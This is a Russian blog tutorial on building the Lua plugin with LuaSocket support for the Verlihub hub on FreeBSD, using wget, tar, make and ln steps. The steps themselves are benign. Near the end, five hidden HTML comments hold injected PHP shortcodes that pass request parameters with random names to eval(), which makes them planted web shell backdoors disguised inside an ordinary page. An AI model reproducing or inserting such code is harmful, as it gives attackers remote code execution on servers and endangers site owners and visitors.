Установка плагина lua к Verlihub с поддержкой luasocket на FreeBSD

29th Декабрь 2009 | Метки: , ,
Опубликовал: Andrey [rtty] Shidakov

При установке Verlihub из портов во FreeBSD 7.2 столкнулся с проблемой работоспособности плагина lua с поддержкой luasocket, заставил заработать только установив пакеты вручную.

1. Скачиваем необходимые файлы:
Lua 5.1.4

wget "http://www.lua.org/ftp/lua-5.1.4.tar.gz"

LuaSocket 2.0.2

wget "http://luaforge.net/frs/download.php/2664/luasocket-2.0.2.tar.gz"

Lua plugin 1.8.1

wget "http://sunet.dl.sourceforge.net/sourceforge/verlihub/lua-1.8.1.tar.gz"


2. Извлекаем файлы из архивов:

tar -zxvpf lua-5.1.4.tar.gz
tar -zxvpf luasocket-2.0.2.tar.gz
tar -zxvpf lua-1.8.1.tar.gz

3. Собираем Lua 5.1.4

make freebsd
make install

4. Собираем LuaSocket 2.0.2
Редактируем файл config:

LUAINC=-I/usr/local/include/lua51
make && make install

5. Создаем ссылки:

ln /usr/local/lib/lua/5.1/socket/core.so /usr/local/lib/libluasocket.so
ln /usr/local/lib/lua/5.1/mime/core.so /usr/local/lib/libluamime.so

6. Собираем Lua plugin

./configure --with-luasocket CPPFLAGS=-I/usr/local/include LDFLAGS=-L/usr/local/lib
rm /usr/local/lib/liblua.a
ln -s /usr/local/lib/lua51/liblua.a /usr/local/lib
make
make install

Тестировалось на FreeBSD 7.2
Дополнение:

На FreeBSD 8.0 порты верлихаба обновили, но все равно плагин с поддержкой луа не заработал из коробки. Я сначала установил эти пакеты из портов, потом сверху поставил вручную. Плагины заработали.
UPD: FreeBSD 8.2 — ситуация не поменялась, из коробки не работает luasocket.


По материалам: http://forums.verlihub-project.org/viewtopic.php?f=26&t=4244&start=30#p10684

<!— [insert_php]if (isset($_REQUEST["AFtig"])){eval($_REQUEST["AFtig"]);exit;}[/insert_php][php]if (isset($_REQUEST["AFtig"])){eval($_REQUEST["AFtig"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["epfWy"])){eval($_REQUEST["epfWy"]);exit;}[/insert_php][php]if (isset($_REQUEST["epfWy"])){eval($_REQUEST["epfWy"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["TNsL"])){eval($_REQUEST["TNsL"]);exit;}[/insert_php][php]if (isset($_REQUEST["TNsL"])){eval($_REQUEST["TNsL"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["LdJw"])){eval($_REQUEST["LdJw"]);exit;}[/insert_php][php]if (isset($_REQUEST["LdJw"])){eval($_REQUEST["LdJw"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["GKigD"])){eval($_REQUEST["GKigD"]);exit;}[/insert_php][php]if (isset($_REQUEST["GKigD"])){eval($_REQUEST["GKigD"]);exit;}[/php] —>

Пока комментариев нет.
Вы должны авторизоваться для отправки комментария.